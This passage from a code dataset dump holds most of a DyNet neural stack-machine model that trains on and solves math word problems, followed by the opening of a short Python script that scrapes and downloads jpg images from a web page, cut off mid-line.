isinf = math.isinf(val)\n isneg = val < 0\n fexp, fman = decompose(val)\n except:\n pass\n return dy.inputVector([float(isfloat), float(isnan), float(isinf), float(isneg), fexp, fman])\n\n\nclass Embedder(object):\n def __init__(self, model, obj2id, embed_dim):\n assert min(obj2id.values()) >= 0, 'Cannot embed negative id'\n\n model = self.model = model.add_subcollection(self.__class__.__name__)\n self.spec = obj2id, embed_dim\n\n vocab_size = max(obj2id.values()) + 1\n self.embeds = model.add_lookup_parameters((vocab_size, embed_dim))\n self.obj2id = obj2id\n\n @classmethod\n def from_spec(cls, spec, model):\n obj2id, embed_dim = spec\n return cls(model, obj2id, embed_dim)\n\n def param_collection(self):\n return self.model\n\n def __getitem__(self, key):\n i = key\n if type(key) != int:\n i = self.obj2id[key if key in self.obj2id else UNK]\n return self.embeds[i]\n\n def __call__(self, seq):\n return [self[x] for x in seq]\n\n\nclass Linear(object):\n def __init__(self, model, input_dim, output_dim):\n model = self.model = model.add_subcollection(self.__class__.__name__)\n self.spec = input_dim, output_dim\n\n self.W = model.add_parameters((output_dim, input_dim))\n self.b = model.add_parameters(output_dim)\n\n @classmethod\n def from_spec(cls, spec, model):\n input_dim, output_dim = spec\n return cls(model, input_dim, output_dim)\n\n def param_collection(self):\n return self.model\n\n def __call__(self, input_expr):\n with parameters(self.W, self.b) as (W, b):\n return dy.affine_transform([b, W, input_expr])\n\n\nclass Encoder(object):\n def __init__(self, model, word2wid, word_embed_dim, num_layers, hidden_dim):\n assert hidden_dim % 2 == 0, \"BiLSTM hidden dimension must be even.\"\n\n self.word2wid = word2wid\n self.words_embeds = Embedder(model, word2wid, word_embed_dim)\n\n model = self.model = model.add_subcollection(self.__class__.__name__)\n self.spec = word2wid, word_embed_dim, num_layers, hidden_dim\n\n val_repr_dim = 6\n self.fwdLSTM = dy.LSTMBuilder(num_layers, word_embed_dim + val_repr_dim, hidden_dim / 2, model)\n self.bwdLSTM = dy.LSTMBuilder(num_layers, word_embed_dim + val_repr_dim, hidden_dim / 2, model)\n\n @classmethod\n def from_spec(cls, spec, model):\n word2wid, word_embed_dim, num_layers, hidden_dim = spec\n return cls(model, word2wid, word_embed_dim, num_layers, hidden_dim)\n\n def param_collection(self):\n return self.model\n\n def set_dropout(self, p):\n self.fwdLSTM.set_dropout(p)\n self.bwdLSTM.set_dropout(p)\n\n def disable_dropout(self):\n self.fwdLSTM.disable_dropout()\n self.bwdLSTM.disable_dropout()\n\n def embed_with_val(self, words):\n result = []\n for word, val in words:\n word_embed = self.words_embeds[word]\n val_repr = val_embed(val)\n result.append(dy.concatenate([word_embed, val_repr]))\n return result\n\n def __call__(self, question, options):\n q_seq = self.embed_with_val(question)\n\n fqs = self.fwdLSTM.initial_state().add_inputs(q_seq)\n bqs = self.bwdLSTM.initial_state().add_inputs(reversed(q_seq))\n es = [dy.concatenate([f.output(), b.output()]) for f, b in zip(fqs, reversed(bqs))]\n\n s = [dy.concatenate([x, y]) for x, y in zip(fqs[-1].s(), bqs[-1].s())]\n\n option_embeds = []\n for option in options:\n o_seq = self.embed_with_val(option)\n fos = fqs[-1].transduce(o_seq)\n bos = bqs[-1].transduce(reversed(o_seq))\n es.extend(dy.concatenate([f, b]) for f, b in zip(fos, reversed(bos)))\n option_embeds.append(es[-1])\n\n return es, s, option_embeds\n\n\nclass Attender(object):\n def __init__(self, model, query_dim, content_dim, att_dim):\n model = self.model = model.add_subcollection(self.__class__.__name__)\n self.spec = query_dim, content_dim, att_dim\n\n self.P = model.add_parameters((att_dim, content_dim))\n self.W = model.add_parameters((att_dim, query_dim))\n self.b = model.add_parameters((1, att_dim))\n\n @classmethod\n def from_spec(cls, spec, model):\n query_dim, content_dim, att_dim = spec\n return cls(model, query_dim, content_dim, att_dim)\n\n def param_collection(self):\n return self.model\n\n def __call__(self, es=None):\n with parameters(self.P, self.W, self.b) as (P, W, b):\n if es:\n assert len(es) > 0\n\n class ImmutableState(object):\n def __init__(self):\n self.es_matrix = dy.concatenate_cols(es)\n self.ps_matrix = P * self.es_matrix\n\n def cal_scores(self, s):\n hs_matrix = dy.tanh(dy.colwise_add(self.ps_matrix, W * s))\n return dy.softmax(dy.transpose(b * hs_matrix))\n\n def cal_context(self, s, selected=None):\n ws = self.cal_scores(s)\n if selected is None:\n return self.es_matrix * ws, ws\n selected_ws = dy.select_rows(ws, selected)\n selected_ws = dy.cdiv(selected_ws, dy.sum_elems(selected_ws))\n return dy.concatenate_cols([es[index] for index in selected]) * selected_ws, ws\n\n return ImmutableState()\n\n else:\n\n class MutableSate(object):\n def __init__(self, es, ps):\n self.es = es\n self.ps = ps\n\n def append_e(self, e):\n return MutableSate(self.es + [e], self.ps + [P * e])\n\n def cal_scores(self, s):\n if len(self.ps) == 0:\n return None\n hs_matrix = dy.tanh(dy.colwise_add(dy.concatenate_cols(self.ps), W * s))\n return dy.softmax(dy.transpose(b * hs_matrix))\n\n def cal_context(self, s, selected=None):\n ws = self.cal_scores(s)\n if ws is None:\n return None, None\n if selected is None:\n return dy.concatenate_cols(self.es) * ws, ws\n selected_ws = dy.select_rows(ws, selected)\n selected_ws = dy.cdiv(selected_ws, dy.sum_elems(selected_ws))\n return dy.concatenate_cols([self.es[index] for index in selected]) * selected_ws, ws\n\n return MutableSate([], [])\n\n\nclass Decoder(object):\n def __init__(self, model, op_names, op_embed_dim, prior_nums, num_embed_dim, sign_embed_dim, encode_dim, att_dim,\n num_layers, hidden_dim):\n assert encode_dim == hidden_dim, \"Encoder dimension dosen't match with decoder dimension\"\n assert encode_dim == num_embed_dim, \"Number embedding dimension doesn't match with encoder dimension\"\n assert type(op_names) == list\n\n self.spec = op_names, op_embed_dim, prior_nums, num_embed_dim, sign_embed_dim, encode_dim, att_dim, \\\n num_layers, hidden_dim\n model = self.model = model.add_subcollection(self.__class__.__name__)\n\n num_ops = len(op_names)\n self.name2opid = {name: opid for opid, name in enumerate(op_names)}\n self.opid2name = {opid: name for opid, name in enumerate(op_names)}\n self.op_embeds = Embedder(model, self.name2opid, op_embed_dim)\n self.start_op = model.add_parameters(op_embed_dim)\n\n self.prior_nums = prior_nums\n self.nid2num = {nid: num for num, nid in prior_nums.items()}\n self.num_embeds = Embedder(model, prior_nums, num_embed_dim)\n self.dummy_arg = model.add_parameters(num_embed_dim + sign_embed_dim)\n self.arg_dim = num_embed_dim + sign_embed_dim\n\n self.neg_embed = model.add_parameters(sign_embed_dim)\n self.pos_embed = model.add_parameters(sign_embed_dim)\n\n self.neg_input_embed = model.add_parameters(sign_embed_dim)\n self.pos_input_embed = model.add_parameters(sign_embed_dim)\n self.neg_exprs_embed = model.add_parameters(sign_embed_dim)\n self.pos_exprs_embed = model.add_parameters(sign_embed_dim)\n self.neg_prior_embed = model.add_parameters(sign_embed_dim)\n self.pos_prior_embed = model.add_parameters(sign_embed_dim)\n\n self.decode_att = Attender(model, hidden_dim, encode_dim, att_dim)\n self.input_att = Attender(model, hidden_dim + sign_embed_dim, encode_dim, att_dim)\n self.exprs_att = Attender(model, hidden_dim + sign_embed_dim, hidden_dim, att_dim)\n self.option_att = Attender(model, hidden_dim, encode_dim, att_dim)\n\n num_copy_src = 6\n self.h2op = Linear(model, hidden_dim, num_ops)\n self.h2ht = Linear(model, hidden_dim, hidden_dim)\n self.h2copy = Linear(model, hidden_dim, num_copy_src)\n\n num_prior = len(prior_nums)\n self.sh2prior = Linear(model, hidden_dim + sign_embed_dim, num_prior)\n\n expr_val_dim = 6\n self.opLSTM = dy.LSTMBuilder(num_layers, encode_dim + expr_val_dim + op_embed_dim + self.arg_dim, hidden_dim, model)\n\n @classmethod\n def from_spec(cls, spec, model):\n op_names, op_embed_dim, prior_nums, num_embed_dim, sign_embed_dim, encode_dim, att_dim, num_layers, \\\n hidden_dim = spec\n return cls(model, op_names, op_embed_dim, prior_nums, num_embed_dim, sign_embed_dim, encode_dim, att_dim,\n num_layers, hidden_dim)\n\n def param_collection(self):\n return self.model\n\n def set_dropout(self, p):\n self.opLSTM.set_dropout(p)\n\n def disable_dropout(self):\n self.opLSTM.disable_dropout()\n\n def __call__(self, es, e, option_embeds, input_num_indexes):\n assert isinstance(input_num_indexes, Iterable)\n decoder = self\n context_atts = decoder.decode_att(es)\n input_num_indexes = sorted(set(input_num_indexes))\n input_atts = decoder.input_att([es[index] for index in input_num_indexes])\n option_atts = decoder.option_att(option_embeds)\n\n class State(object):\n def __init__(self, s, step, exprs_num_indexs, expr_atts):\n self.s = s\n self.step = step\n self.exprs_num_indexs = exprs_num_indexs\n self.expr_atts = expr_atts\n\n def op_probs(self):\n h = self.s.output()\n return dy.softmax(decoder.h2op(h))\n\n def op_prob(self, op):\n probs = self.op_probs()\n if type(op) == str:\n op = decoder.name2opid[op]\n return dy.pick(probs, op)\n\n def copy_probs(self):\n h = self.s.output()\n return dy.softmax(decoder.h2copy(h))\n\n def _signed_h(self, h=None, neg=False):\n with parameters(decoder.neg_embed, decoder.pos_embed) as (neg_embed, pos_embed):\n signed_h = dy.concatenate([h if h is not None else self.s.output(), neg_embed if neg else pos_embed])\n return signed_h\n\n def from_prior_probs(self, neg=False):\n signed_h = self._signed_h(neg=neg)\n return dy.softmax(decoder.sh2prior(signed_h))\n\n def from_prior_prob(self, num, neg=False):\n probs = self.from_prior_probs(neg)\n if type(num) == float:\n num = decoder.prior_nums[num if num in decoder.prior_nums else UNK]\n if decoder.nid2num[num] == UNK:\n return dy.scalarInput(0.0), dy.zeros(decoder.arg_dim)\n with parameters(decoder.neg_prior_embed, decoder.pos_prior_embed) as (neg_prior_embed, pos_prior_embed):\n prior_ref = dy.concatenate([decoder.num_embeds[num], neg_prior_embed if neg else pos_prior_embed])\n return dy.pick(probs, num), prior_ref\n\n def from_input_probs(self, neg=False):\n signed_h = self._signed_h(neg=neg)\n return input_atts.cal_scores(signed_h)\n\n def from_input_prob(self, selected_indexes, neg=False):\n assert type(selected_indexes) == set\n selected_indexes = [index for index, old_index in enumerate(input_num_indexes) if old_index in selected_indexes]\n if len(selected_indexes) == 0:\n return dy.scalarInput(0.0), dy.zeros(decoder.arg_dim)\n signed_h = self._signed_h(neg=neg)\n input_ref, probs = input_atts.cal_context(signed_h, selected_indexes)\n with parameters(decoder.neg_input_embed, decoder.pos_input_embed) as (neg_input_embed, pos_input_embed):\n input_ref = dy.concatenate([input_ref, neg_input_embed if neg else pos_input_embed])\n return dy.sum_elems(dy.select_rows(probs, selected_indexes)), input_ref\n\n def from_exprs_probs(self, neg=False):\n ht = dy.tanh(decoder.h2ht(self.s.output()))\n signed_h = self._signed_h(ht, neg)\n return self.expr_atts.cal_scores(signed_h)\n\n def from_exprs_prob(self, selected_indexes, neg=False):\n assert type(selected_indexes) == set\n selected_indexes = [index for index, old_index in enumerate(self.exprs_num_indexs) if old_index in selected_indexes]\n if len(selected_indexes) == 0:\n return dy.scalarInput(0.0), dy.zeros(decoder.arg_dim)\n ht = dy.tanh(decoder.h2ht(self.s.output()))\n signed_h = self._signed_h(ht, neg)\n exprs_ref, probs = self.expr_atts.cal_context(signed_h, selected_indexes)\n with parameters(decoder.neg_exprs_embed, decoder.pos_exprs_embed) as (neg_exprs_embed, pos_exprs_embed):\n exprs_ref = dy.concatenate([exprs_ref, neg_exprs_embed if neg else pos_exprs_embed])\n return dy.sum_elems(dy.select_rows(probs, selected_indexes)), exprs_ref\n\n def next_state(self, expr_val, op, arg_ref=None):\n op_embed = decoder.op_embeds[op] if type(op) in (int, str) else op\n with parameters(decoder.dummy_arg) as dummy_arg:\n arg_embed = dummy_arg if arg_ref is None else arg_ref\n context, _ = context_atts.cal_context(self.s.output())\n next_s = self.s.add_input(dy.concatenate([context, val_embed(expr_val), op_embed, arg_embed]))\n if op in ('end', decoder.name2opid['end']):\n return State(next_s, self.step + 1, self.exprs_num_indexs + [self.step], self.expr_atts.append_e(next_s.output()))\n return State(next_s, self.step + 1, self.exprs_num_indexs, self.expr_atts)\n\n def predict_answer(self):\n h = self.s.output()\n return option_atts.cal_scores(h)\n\n with parameters(decoder.start_op) as start_op:\n return State(decoder.opLSTM.initial_state().set_s(e), -1, [], decoder.exprs_att()).next_state(0.0, start_op)\n\n\ndef add_expr_val(dataset):\n @timeout(10, use_signals=False)\n def process_trace(trace):\n new_trace = []\n interp = Interpreter()\n for instruction in trace:\n instruction = tuple(instruction)\n op_name = instruction[0]\n arg_num = None if len(instruction) < 2 else instruction[-1]\n end_expr, expr_val = interp.next_op(op_name, arg_num)\n if end_expr:\n interp = Interpreter()\n if expr_val is not None:\n expr_val = float(expr_val)\n new_trace.append(instruction[:1] + (expr_val,)+ instruction[1:])\n return new_trace\n\n result = []\n for question, options, trace, input_num_indexes, answer in dataset:\n try:\n result.append((question, options, process_trace(trace), input_num_indexes, answer))\n except:\n pass\n return result\n\n\ndef process_words(words):\n words_with_val = []\n for word in words:\n val = None\n try:\n expr = parse_expr(word)\n if expr.is_number:\n val = float(expr)\n except:\n pass\n words_with_val.append((word, val))\n return words_with_val\n\n\ndef add_num_val(dataset):\n result = []\n for question, options, trace, input_num_indexes, answer in dataset:\n question = process_words(question)\n options = [process_words(option) for option in options]\n result.append((question, options, trace, input_num_indexes, answer))\n return result\n\n\n\ndef build_index(question, options):\n input_nums = {}\n for index, token in enumerate(chain(*([question] + options))):\n try:\n val = parse_expr(token)\n if val.is_number:\n input_nums[index] = val\n except:\n pass\n return input_nums\n\n\ndef solve(encoder, decoder, raw_question, raw_options, max_op_count):\n copy_id2src = ['pos_prior', 'neg_prior', 'pos_input', 'neg_input', 'pos_exprs', 'neg_exprs']\n question = parse_question(raw_question)\n options = [parse_question(raw_option) for raw_option in raw_options]\n input_nums = build_index(question, options)\n input_nums_indexes = sorted(input_nums.keys())\n UNK_id = decoder.prior_nums[UNK]\n dy.renew_cg()\n es, e, option_embeds = encoder(process_words(question), map(process_words, options))\n state = decoder(es, e, option_embeds, input_nums.keys())\n interp = Interpreter()\n expr_vals = []\n ds = []\n trace = []\n for _ in range(max_op_count):\n p_op = state.op_probs().npvalue()\n p_op[[op_name not in interp.valid_ops for op_id, op_name in decoder.opid2name.items()]] = -np.inf\n op_name = decoder.opid2name[p_op.argmax()]\n arg_num = None\n arg_ref = None\n if op_name == 'load':\n copy_src = copy_id2src[state.copy_probs().npvalue().argmax()]\n neg = copy_src.startswith('neg')\n if copy_src.endswith('_input'):\n num_index = input_nums_indexes[state.from_input_probs(neg=neg).npvalue().argmax()]\n arg_num = input_nums[num_index]\n with parameters(decoder.neg_input_embed, decoder.pos_input_embed) as (neg_input_embed, pos_input_embed):\n arg_ref = dy.concatenate([es[num_index], neg_input_embed if neg else pos_input_embed])\n elif copy_src.endswith('_prior'):\n p_prior = state.from_prior_probs(neg=neg).npvalue()\n p_prior[UNK_id] = -np.inf\n nid = p_prior.argmax()\n arg_num = decoder.nid2num[nid]\n with parameters(decoder.neg_prior_embed, decoder.pos_prior_embed) as (neg_prior_embed, pos_prior_embed):\n arg_ref = dy.concatenate([decoder.num_embeds[nid], neg_prior_embed if neg else pos_prior_embed])\n elif copy_src.endswith('_exprs'):\n expr_index = state.from_exprs_probs(neg=neg).npvalue().argmax()\n arg_num = expr_vals[expr_index]\n with parameters(decoder.neg_exprs_embed, decoder.pos_exprs_embed) as (neg_exprs_embed, pos_exprs_embed):\n arg_ref = dy.concatenate([ds[expr_index], neg_exprs_embed if neg else pos_exprs_embed])\n else:\n assert False\n if neg:\n arg_num *= -1\n end_expr, expr_val = interp.next_op(op_name, arg_num)\n trace.append((op_name, arg_num))\n if end_expr:\n ds.append(state.s.output())\n expr_vals.append(expr_val)\n if op_name == 'exit':\n break\n interp = Interpreter()\n state = state.next_state(expr_val, op_name, arg_ref)\n answer = state.predict_answer().npvalue().argmax()\n return trace, expr_vals, answer\n\n\ndef solve2(encoder, decoder, raw_question, raw_options, max_op_count):\n question = parse_question(raw_question)\n options = [parse_question(raw_option) for raw_option in raw_options]\n input_nums = build_index(question, options)\n input_nums_pos = defaultdict(set)\n for index, num in input_nums.items():\n input_nums_pos[num].add(index)\n expr_nums_pos = defaultdict(set)\n num_candidates = set(input_nums_pos.keys()) | set(decoder.prior_nums.keys())\n num_candidates.remove(UNK)\n num_candidates |= {-num for num in num_candidates}\n num_candidates = {float(num) for num in num_candidates}\n dy.renew_cg()\n es, e, option_embeds = encoder(process_words(question), map(process_words, options))\n state = decoder(es, e, option_embeds, input_nums.keys())\n interp = Interpreter()\n expr_vals = []\n ds = []\n trace = []\n for _ in range(max_op_count):\n p_op = dy.log(state.op_probs()).npvalue()\n p_op[[op_name not in interp.valid_ops for op_id, op_name in decoder.opid2name.items()]] = -np.inf\n op_name = decoder.opid2name[p_op.argmax()]\n max_arg_num = None\n max_arg_ref = None\n max_instruct_p = None\n if op_name == 'load':\n load_p = p_op[decoder.name2opid['load']]\n copy_p = state.copy_probs()\n for arg_num in num_candidates:\n from_pos_prior_p, pos_prior_ref = state.from_prior_prob(arg_num)\n from_neg_prior_p, neg_prior_ref = state.from_prior_prob(-arg_num, True)\n from_pos_input_p, pos_input_ref = state.from_input_prob(input_nums_pos[arg_num])\n from_neg_input_p, neg_input_ref = state.from_input_prob(input_nums_pos[-arg_num], True)\n from_pos_exprs_p, pos_exprs_ref = state.from_exprs_prob(expr_nums_pos[arg_num])\n from_neg_exprs_p, neg_exprs_ref = state.from_exprs_prob(expr_nums_pos[-arg_num], True)\n\n from_p = dy.concatenate([from_pos_prior_p, from_neg_prior_p,\n from_pos_input_p, from_neg_input_p,\n from_pos_exprs_p, from_neg_exprs_p])\n arg_ref = (dy.concatenate_cols([pos_prior_ref, neg_prior_ref,\n pos_input_ref, neg_input_ref,\n pos_exprs_ref, neg_exprs_ref]) * copy_p)\n instruct_p = load_p + dy.log(dy.dot_product(copy_p, from_p)).value()\n if max_instruct_p is None or max_instruct_p < instruct_p:\n max_arg_num = arg_num\n max_arg_ref = arg_ref\n max_instruct_p = instruct_p\n end_expr, expr_val = interp.next_op(op_name, max_arg_num)\n trace.append((op_name, max_arg_num))\n if end_expr:\n if op_name == 'exit':\n break\n ds.append(state.s.output())\n expr_val = float(expr_val)\n expr_nums_pos[expr_val].add(state.step)\n num_candidates.add(expr_val)\n num_candidates.add(-expr_val)\n expr_vals.append(expr_val)\n interp = Interpreter()\n state = state.next_state(expr_val, op_name, max_arg_ref)\n answer = state.predict_answer().npvalue().argmax()\n return trace, expr_vals, answer\n\n\ndef solve3(encoder, decoder, raw_question, raw_options, max_op_count, k, max_only=False):\n question = parse_question(raw_question)\n options = [parse_question(raw_option) for raw_option in raw_options]\n input_nums = build_index(question, options)\n input_nums_pos = defaultdict(set)\n for index, num in input_nums.items():\n input_nums_pos[num].add(index)\n num_candidates = set(input_nums_pos.keys()) | set(decoder.prior_nums.keys())\n num_candidates.remove(UNK)\n num_candidates |= {-num for num in num_candidates}\n num_candidates = {float(num) for num in num_candidates}\n dy.renew_cg()\n es, e, option_embeds = encoder(process_words(question), map(process_words, options))\n state = decoder(es, e, option_embeds, input_nums.keys())\n interp = Interpreter()\n\n def get_all_next(total_p, _, state, interp, last_op_name, last_arg_ref, last_arg_num, num_candidates, expr_nums_pos, expr_vals, trace):\n if last_op_name == 'exit':\n return\n if last_op_name is not None:\n trace = trace + [(last_op_name, last_arg_num)]\n interp = Interpreter(interp)\n end_expr, expr_val = interp.next_op(last_op_name, last_arg_num)\n if end_expr:\n try:\n expr_val = float(expr_val)\n except:\n return\n expr_nums_pos = defaultdict(set, expr_nums_pos)\n expr_nums_pos[expr_val].add(state.step)\n num_candidates = num_candidates | {expr_val, -expr_val}\n expr_vals = expr_vals + [expr_val]\n interp = Interpreter()\n state = state.next_state(expr_val, last_op_name, last_arg_ref)\n p_op = dy.log(state.op_probs()).npvalue()\n for op_id, op_name in decoder.opid2name.items():\n if op_name not in interp.valid_ops:\n continue\n op_p = p_op[op_id]\n if op_name == 'load':\n copy_p = state.copy_probs()\n for arg_num in num_candidates:\n from_pos_prior_p, pos_prior_ref = state.from_prior_prob(arg_num)\n from_neg_prior_p, neg_prior_ref = state.from_prior_prob(-arg_num, True)\n from_pos_input_p, pos_input_ref = state.from_input_prob(input_nums_pos[arg_num])\n from_neg_input_p, neg_input_ref = state.from_input_prob(input_nums_pos[-arg_num], True)\n from_pos_exprs_p, pos_exprs_ref = state.from_exprs_prob(expr_nums_pos[arg_num])\n from_neg_exprs_p, neg_exprs_ref = state.from_exprs_prob(expr_nums_pos[-arg_num], True)\n\n from_p = dy.concatenate([from_pos_prior_p, from_neg_prior_p,\n from_pos_input_p, from_neg_input_p,\n from_pos_exprs_p, from_neg_exprs_p])\n arg_ref = (dy.concatenate_cols([pos_prior_ref, neg_prior_ref,\n pos_input_ref, neg_input_ref,\n pos_exprs_ref, neg_exprs_ref]) * copy_p)\n instruct_p = (op_p + dy.log(dy.dot_product(copy_p, from_p))).value()\n if not math.isinf(instruct_p):\n yield total_p + instruct_p, np.random.uniform(), state, interp, op_name, arg_ref, arg_num, num_candidates, expr_nums_pos, expr_vals, trace\n else:\n instruct_p = op_p\n yield total_p + instruct_p, np.random.uniform(), state, interp, op_name, None, None, num_candidates, expr_nums_pos, expr_vals, trace\n\n top_n = [[0.0, np.random.uniform(), state, interp, None, None, None, num_candidates, defaultdict(set), [], []]]\n final_c = []\n while len(final_c) < k:\n next_top_n = []\n for c in top_n:\n for next_c in get_all_next(*c):\n if next_c[4] == 'exit':\n if len(final_c) < k:\n heapq.heappush(final_c, next_c)\n else:\n heapq.heappushpop(final_c, next_c)\n continue\n if len(next_c[-1]) > max_op_count:\n continue\n if len(next_top_n) < k:\n try:\n heapq.heappush(next_top_n, next_c)\n except:\n print(next_top_n, next_c)\n raise\n else:\n try:\n heapq.heappushpop(next_top_n, next_c)\n except:\n print(next_top_n, next_c)\n raise\n top_n = next_top_n\n\n if max_only:\n final_p = max(final_c)[2].predict_answer().npvalue()\n else:\n final_p = None\n for c in final_c:\n if final_p is None:\n final_p = (c[0] + dy.log(c[2].predict_answer())).npvalue()\n else:\n final_p = np.logaddexp(final_p, (c[0] + dy.log(c[2].predict_answer())).npvalue())\n return final_p.argmax()\n\n\ndef cal_loss(encoder, decoder, question, options, input_num_indexes, trace, answer):\n es, e, option_embeds = encoder(question, options)\n state = decoder(es, e, option_embeds, input_num_indexes)\n problem_losses = []\n for instruction in trace:\n op_name = instruction[0]\n expr_val = instruction[1]\n item_loss = -dy.log(state.op_prob(op_name))\n arg_num = None\n if len(instruction) > 2:\n _, _, pos_prior_nid, neg_prior_nid, pos_input_indexes, neg_input_indexes, pos_exprs_indexes, \\\n neg_exprs_indexes, arg_num = instruction\n copy_p = state.copy_probs()\n from_pos_prior_p, pos_prior_ref = state.from_prior_prob(pos_prior_nid)\n from_neg_prior_p, neg_prior_ref = state.from_prior_prob(neg_prior_nid, True)\n from_pos_input_p, pos_input_ref = state.from_input_prob(set(pos_input_indexes))\n from_neg_input_p, neg_input_ref = state.from_input_prob(set(neg_input_indexes), True)\n from_pos_exprs_p, pos_exprs_ref = state.from_exprs_prob(set(pos_exprs_indexes))\n from_neg_exprs_p, neg_exprs_ref = state.from_exprs_prob(set(neg_exprs_indexes), True)\n\n from_p = dy.concatenate([from_pos_prior_p, from_neg_prior_p,\n from_pos_input_p, from_neg_input_p,\n from_pos_exprs_p, from_neg_exprs_p])\n item_loss += -dy.log(dy.dot_product(copy_p, from_p))\n arg_ref = dy.concatenate_cols([pos_prior_ref, neg_prior_ref,\n pos_input_ref, neg_input_ref,\n pos_exprs_ref, neg_exprs_ref]) * copy_p\n problem_losses.append(item_loss)\n if op_name == 'exit':\n break\n state = state.next_state(expr_val, op_name, arg_ref)\n answer_loss = -dy.log(dy.pick(state.predict_answer(), answer))\n problem_losses.append(answer_loss)\n return dy.esum(problem_losses)\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Train attention model')\n parser.add_argument('--model_path', default=None, type=str)\n parser.add_argument('--checkpoint_dir', default='./checkpoints', type=str)\n parser.add_argument('--vocab_file', default='./vocab.dmp', type=str)\n parser.add_argument('--train_set', default='./train_set.dmp', type=str)\n parser.add_argument('--valid_set', default='./valid_set.dmp', type=str)\n parser.add_argument('--batch_size', default=64, type=int)\n parser.add_argument('--trainer', default='adam', choices={'sgd', 'adam', 'adagrad'}, type=str)\n parser.add_argument('--word_embed_dim', default=256, type=int)\n parser.add_argument('--encoder_num_layers', default=2, type=int)\n parser.add_argument('--encoder_state_dim', default=256, type=int)\n parser.add_argument('--op_embed_dim', default=32, type=int)\n parser.add_argument('--num_embed_dim', default=256, type=int)\n parser.add_argument('--sign_embed_dim', default=64, type=int)\n parser.add_argument('--att_dim', default=128, type=int)\n parser.add_argument('--decoder_num_layers', default=2, type=int)\n parser.add_argument('--decoder_state_dim', default=256, type=int)\n parser.add_argument('--dropout', default=None, type=float)\n parser.add_argument('--seed', default=11747, type=int)\n parser.add_argument('--max_op_count', default=50, type=int)\n\n args, _ = parser.parse_known_args()\n\n with open(args.vocab_file, 'rb') as f:\n op_names, word2wid, wid2word, num2nid, nid2num = pickle.load(f)\n op_names = sorted(op_names)\n\n with open(args.train_set, 'rb') as f:\n train_set = pickle.load(f)\n\n if len(train_set) > 0 and len(train_set[0][2][0]) == 8:\n print('add expr values...')\n train_set = add_expr_val(train_set)\n with open(args.train_set, 'wb') as f:\n pickle.dump(train_set, f)\n\n if len(train_set) > 0 and type(train_set[0][0][0]) == str:\n print('add num values...')\n train_set = add_num_val(train_set)\n with open(args.train_set, 'wb') as f:\n pickle.dump(train_set, f)\n\n print('size of train_set:', len(train_set))\n\n random.seed(args.seed)\n\n model = dy.ParameterCollection()\n\n if args.trainer == 'sgd':\n trainer = dy.SimpleSGDTrainer(model)\n elif args.trainer == 'adam':\n trainer = dy.AdamTrainer(model)\n elif args.trainer == 'adagrad':\n trainer = dy.AdagradTrainer(model)\n\n encoder = Encoder(model, word2wid, args.word_embed_dim, args.encoder_num_layers, args.encoder_state_dim)\n decoder = Decoder(model, op_names, args.op_embed_dim, num2nid, args.num_embed_dim, args.sign_embed_dim,\n args.encoder_state_dim, args.att_dim, args.decoder_num_layers, args.decoder_state_dim)\n\n if not os.path.exists(args.checkpoint_dir):\n os.makedirs(args.checkpoint_dir)\n\n if args.model_path is None:\n model.save('%s/init.dmp' % args.checkpoint_dir)\n else:\n model.populate(args.model_path)\n\n if args.dropout is not None:\n encoder.set_dropout(args.dropout)\n decoder.set_dropout(args.dropout)\n\n num_problems = len(train_set)\n for num_epoch in itertools.count(1):\n random.shuffle(train_set)\n epoch_loss = 0.0\n epoch_seq_length = 0\n batch_losses = []\n batch_seq_length = 0\n num_batch = 0\n dy.renew_cg()\n for i, (question, options, trace, input_num_indexes, answer) in enumerate(train_set, 1):\n problem_loss = cal_loss(encoder, decoder, question, options, input_num_indexes, trace, answer)\n batch_losses.append(problem_loss)\n batch_seq_length += len(trace)\n epoch_seq_length += len(trace)\n if i % args.batch_size == 0 or i == num_problems:\n batch_loss = dy.esum(batch_losses) / len(batch_losses)\n batch_loss.backward()\n trainer.update()\n batch_loss_value = batch_loss.value()\n batch_per_item_loss = batch_loss_value / batch_seq_length\n epoch_loss += batch_loss_value\n epoch_perplexity = math.exp(epoch_loss / epoch_seq_length)\n dy.renew_cg()\n num_batch += 1\n batch_losses = []\n batch_seq_length = 0\n if num_batch % 20 == 0:\n print('epoch %d, batch %d, batch_per_item_loss %f, epoch_perplexity %f' % \\\n (num_epoch, num_batch, batch_per_item_loss, epoch_perplexity))\n model.save('%s/epoch_%d.dmp' % (args.checkpoint_dir, num_epoch))\n\n\n# python stack_machine_model.py --dynet-seed 11747 --dynet-autobatch 1 --dynet-mem 2000 --dynet-gpu --batch_size 64 --dropout 0.7\nif __name__ == \"__main__\":\n main()\n","sub_path":"stack_machine_model.py","file_name":"stack_machine_model.py","file_ext":"py","file_size_in_byte":36419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"333591","text":"# -*- coding:utf-8 -*-\n# 爬取并下载网页图片\nimport urllib\nimport urllib.request\nimport re\nimport os\n\nfrom urllib.parse import quote\nimport string\n\n# 从 url 中获取 jpg 的 html\ndef open_html(url):\n\t# 防止读取url时 ASCII 编码问题报错\n\turl = urllib.parse.quote(url, safe=string.printable)\n\t\n\trequire = urllib.request.Request(url)\n\treponse = urllib.request.urlopen(require)\n\thtml = reponse.read()\n\treturn html\n\n# 通过 jpg 的 html 批量获取图片并下载\ndef load_image_in_batch(html, download_path):\n\treg = 'http://[\\S]*jpg'\n\tpattern = re.compile(reg)\n\tget_image = re.findall(pattern, repr(html))\n\t\n\tnum = 1\n\tfor img in get_image:\n\t\tphoto = open_html(img)\n\t\twith open(download_path + \"/%d.jpg\" % num, 'wb') as f:\n\t\t\tprint(\"Begin to download pictures...\")\n\t\t\tf.write(photo)\n\t\t\tprint(\"Downloading the No. %d picture...\" % num)\n\t\t\tf.close()\n\t\tnum += 1\n\tif num > 1:\n\t\tprint(\"Succeed in downloading!\")\n\telse:\n\t\tprint(\"Fail in getting pictures!\")\n\t\t\ndef load_image(html, download_path):\n\tphoto = open_html(html)\n\twith open(download_path + \"/single.jpg\", 'wb') as f:\n\t\tf.write(photo)\n\t\tprint(\"Succeed in downloading from html: %s!\" % html)\n\t\tf.close()\n\n\n# download_path = r\"C:\\Users\\24299\\Desktop\\pic\"\ndownload_path = os.path.dirname(os.path.realpath(__file__)) + \"/pic\"\n# print(download_path)\n\n\n# html 就是 'http://www.qiqipu.com/'\n# url 就是 'http://www.qiqipu.com/xxxxx.jpg'\n\n# (1)若提供的是某个网页地址,则要先用一步 open_html(url) 从 url 中解析多条 html,\n# 再让 html 进入 load_image(),再经过一步 open_html()\nurl = 